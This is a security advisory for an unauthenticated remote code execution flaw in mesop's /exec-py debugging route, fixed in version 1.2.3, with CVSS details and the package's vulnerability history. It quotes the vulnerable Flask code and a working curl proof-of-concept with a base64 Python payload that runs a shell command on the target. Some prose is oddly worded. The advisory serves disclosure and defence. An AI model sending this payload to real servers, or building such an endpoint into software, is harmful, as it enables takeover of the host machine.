Critical

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

  • Disclosed: 18.03.2026
  • Updated: 11.10.2026 14:17

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

python
 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

bash
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected software

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) mesop < 1.2.3 1.2.3

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Python (PyPI)
Package
mesop
Disclosed
18.03.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-gjgx-rvqr-6w6v - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-412 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: mesop

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
09.2024 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 3
  • Medium 1

Disclosures per year

  1. 2024: 1
  2. 2025: 1
  3. 2026: 4
  1. Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py this entry
    Critical · 9.8 CVE-2026-33057 < 1.2.3 1.2.3
  2. High · 7.5 CVE-2024-45601 >= 0.9.0, < 0.12.4 0.12.4

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